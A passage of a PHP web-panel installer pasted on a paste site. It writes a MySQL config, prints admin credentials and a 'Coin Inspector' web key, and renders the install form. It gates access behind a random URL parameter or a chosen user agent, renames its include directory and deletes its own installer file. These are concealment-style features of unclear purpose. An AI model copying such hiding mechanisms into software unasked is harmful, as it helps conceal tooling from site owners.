  473.                     mkdir(getcwd() . "/" . $TmpName, 0755, true);
  474.                    
  475.                 if(file_put_contents($Config, $ConfigBuffer))
  476.                     chmod($Config, 0644);
  477.                 else
  478.                 {
  479.                     ob_clean();
  480.                     print '<pre>';
  481.                     if(!rename (getcwd() . "/inc", getcwd() . "/" .$Include))
  482.                         echo "Please rename Inc Directory from Inc to $Include. (mv " . getcwd() . "/inc " . getcwd() . "/" .$Include.")\n";
  483.                    
  484.                     if(!unlink (__FILE__))
  485.                         echo "Please delete: " . __FILE__." (rm -rf ".__FILE__.")\n";
  486.                    
  487.                     print "Username: ".trim($_REQUEST['iUa'])."\n";
  488.                     print "Password: ".trim($_REQUEST['iPa'])."\n";
  489.                     print "Web Key: " . trim($WebKey) . " (Coin Inspector)\n";
  490.                     print "Temp Dir: " . getcwd() . "/" . $TmpName . "\n";
  491.                     if(isset($_REQUEST['UseAgent']) && trim($_REQUEST['UseAgent']) == 'on')
  492.                         print "Useragent: ".$AuthAgent."\n";
  493.                    
  494.                     print 'Can\'t write Config file. To continue, please put this to config ('.$Config.') file, then reload this page.<br/><br/>';
  495.                     print '</pre>';
  496.                     highlight_string( $ConfigBuffer);
  497.                     die();
  498.                 }
  499.                 ob_clean();
  500.                 print '<pre>';
  501.                 if(!rename (getcwd() . "/inc", getcwd() . "/" .$Include))
  502.                     echo "Please rename Inc Directory from Inc to $Include. (mv " . getcwd() . "/inc " . getcwd() . "/" .$Include.")\n";
  503.                
  504.                 if(!unlink (__FILE__))
  505.                     echo "Please delete: " . __FILE__." (rm -rf ".__FILE__.")\n";
  506.                    
  507.                 print '<pre>';
  508.                 $ScriptName  = $_SERVER['SCRIPT_NAME'];
  509.                 $Server      = $_SERVER['HTTP_HOST'];
  510.                 $UserAgent   = $_SERVER['HTTP_USER_AGENT'];
  511.                 $ScriptURL   = $Protocol . $Server . $ScriptName;
  512.    
  513.                
  514.                 print "Username: ".trim($_REQUEST['iUa'])."\n";
  515.                 print "Password: ".trim($_REQUEST['iPa'])."\n";
  516.                 print " Web Key: " . trim($WebKey) . " (Coin Inspector)\n";
  517.                 print "Temp Dir: " . getcwd() . "/" . $TmpName . " (if directory not writable, many function not working! (chmod 644 ".getcwd() . "/" . $TmpName."))\n";
  518.                 if(isset($_REQUEST['UseAgent']) && trim($_REQUEST['UseAgent']) == 'on')
  519.                     print "Auth Agent: ".$AuthAgent."\n";
  520.                 if(isset($_REQUEST['UseUrl']) && trim($_REQUEST['UseUrl']) == 'on')
  521.                 {
  522.                     $ScriptURL = $ScriptURL."?".$AuthLink ."=" .$AuthUrl;
  523.                 }
  524.                
  525.                 print "Auth Url: ".$ScriptURL."\n";
  526.                    
  527.                 print "Istall done! <a href='".$ScriptURL."'>Click here!</a>\n";
  528.                 die();
  529.             }
  530.     }
  531. ?>
  532.  
  533. <div class="container">
  534.     <div class="row">
  535.         <div class="ab is">
  536.             <div class="well well-lg" style="height:500px;" align="center">
  537.                 <div class="col-sm-12 col-md-10 col-md-offset-1">
  538.                     <form method="POST" class="form-horizontal" action="<?php echo($ScriptURL);?>?acti=install">
  539.                       <fieldset>
  540.                         <legend>Install - MySQL, User</legend>
  541.                             <div class="form-group has-feedback">
  542.                                 <label for="MHost" class="col-lg-2 control-label">Hostname:</label>
  543.                                 <div class="col-lg-10">
  544.                                     <input type="text" style="width: 70%;" value="" id="MHost" name="MHost" class="form-control input-sm" />
  545.                                 </div>
  546.                             </div>
  547.                             <div class="form-group has-feedback">
  548.                                 <label for="MUser" class="col-lg-2 control-label">Username:</label>
  549.                                 <div class="col-lg-10">
  550.                                     <input type="text" style="width: 70%;" value="" id="MUser" name="MUser" class="form-control input-sm" />
  551.                                 </div>
  552.                             </div>
  553.                             <div class="form-group has-feedback">
  554.                                 <label for="MPass" class="col-lg-2 control-label">Password:</label>
  555.                                 <div class="col-lg-10">
  556.                                     <input type="password" style="width: 70%;" value="" id="MPass" name="MPass" class="form-control input-sm" />
  557.                                 </div>
  558.                             </div>
  559.                             <div class="form-group has-feedback">
  560.                                 <label for="MDatabase" class="col-lg-2 control-label">Database:</label>
  561.                                 <div class="col-lg-10">
  562.                                     <input type="text" style="width: 70%;" value="" id="MDatabase" name="MDatabase" class="form-control input-sm" />
  563.                                 </div>
  564.                             </div>
  565.                             <div class="form-group has-feedback">
  566.                                 <a href="#" onclick="SetVisibility('OptionsMysql');"><small>More MySQL options..</small></a>
  567.                             </div>
  568.                            
  569.                             <div id="OptionsMysql" style="display: none;">
  570.                                 <div class="form-group has-feedback">
  571.                                     <label for="MPort" class="col-lg-2 control-label">Port:</label>
  572.                                     <div class="col-lg-10">
  573.                                         <input type="password" style="width: 70%;" value="" id="MPort" name="MPort" class="form-control input-sm" />
  574.                                     </div>
  575.                                 </div>
  576.                                 <div class="form-group has-feedback">
  577.                                     <label for="MPrefix" class="col-lg-2 control-label">Prefix:</label>
  578.                                     <div class="col-lg-10">
  579.                                         <input type="text" style="width: 70%;" value="" id="MPrefix" name="MPrefix" class="form-control input-sm" />
  580.                                     </div>
  581.                                 </div>
  582.                             </div>
  583.                            
  584.                             <div class="form-group has-feedback">
  585.                                 <div class="checkbox">
  586.                                     <label><input name="UseUrl"  type="checkbox">Use Auth Url (Random)</label>
  587.                                 </div>
  588.                             </div>
  589.                            
  590.                             <div class="form-group has-feedback">
  591.                                 <div class="checkbox">
  592.                                     <label><input onclick="SetVisibility('UserAgent');" name="UseAgent"  type="checkbox">Use Auth Useragent</label>
  593.                                 </div>
  594.                             </div>
  595.                          
  596.                             <div id="UserAgent" style="display: none;">
  597.                                 <div class="form-group has-feedback">
  598.                                     <label for="MPort" class="col-lg-2 control-label">Useragent:</label>
  599.                                     <div class="col-lg-10">
  600.                                         <input type="password" style="width: 70%;" value="" id="UserAgent" name="UserAgent" class="form-control input-sm" />
  601.                                     </div>
  602.                                 </div>
  603.                             </div>
  604.                            
  605.                             <div style="padding-top: 15px;"class="form-group has-feedback">
  606.                                 <label for="MUser" class="col-lg-2 control-label">Username:</label>
  607.                                 <div class="col-lg-10">
  608.                                     <input type="text" style="width: 70%;" value="" id="iUa" name="iUa" class="form-control input-sm" />
  609.                                 </div>
  610.                             </div>
  611.                             <div class="form-group has-feedback">
  612.                                 <label for="MPass" class="col-lg-2 control-label">Password:</label>
  613.                                 <div class="col-lg-10">
  614.                                     <input type="password" style="width: 70%;" value="" id="iPa" name="iPa" class="form-control input-sm" />
  615.                                 </div>
  616.                             </div>
  617.                             <div class="form-group has-feedback">
  618.                                 <label for="MPass" class="col-lg-2 control-label">Password:</label>
  619.                                 <div class="col-lg-10">
  620.                                     <input type="password" style="width: 70%;" value="" id="iPa2" name="iPa2" class="form-control input-sm" />
  621.                                 </div>
  622.                             </div>
  623.                             <button type="submit" onclick="return PasswordCheck(document.getElementById('iPa').value, document.getElementById('iPa2').value); return true;" class="btn-sm btn btn-primary">Install</button>
  624.                         </fieldset>    
  625.                     </form>
  626.                 </div>
  627.             </div>
  628.         </div>
  629.     </div>
  630. </div>
  631.  
  632.  
  633. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  634. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  635. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement